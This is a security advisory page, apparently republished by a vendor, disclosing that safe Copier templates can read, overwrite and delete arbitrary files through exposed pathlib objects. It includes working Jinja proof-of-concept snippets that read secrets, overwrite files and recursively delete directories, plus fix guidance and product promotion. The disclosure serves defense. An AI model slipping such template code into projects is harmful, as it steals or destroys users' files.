GHSA-3xw7-v6cj-5q8h
Copier's safe template has arbitrary filesystem read/write access
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
copierReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Read known file:
echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt -
Read unknown file(s) via globbing:
mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
-
Overwrite known file:
echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt -
Overwrite unknown file(s) via globbing:
echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown file(s) via globbing:
echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown files and directories via tree walking:
mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | copier | all versions | 9.9.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for copier. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update copier to 9.9.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3xw7-v6cj-5q8h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3xw7-v6cj-5q8h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3xw7-v6cj-5q8h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3xw7-v6cj-5q8h in your dependencies?
O3 detects GHSA-3xw7-v6cj-5q8h across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.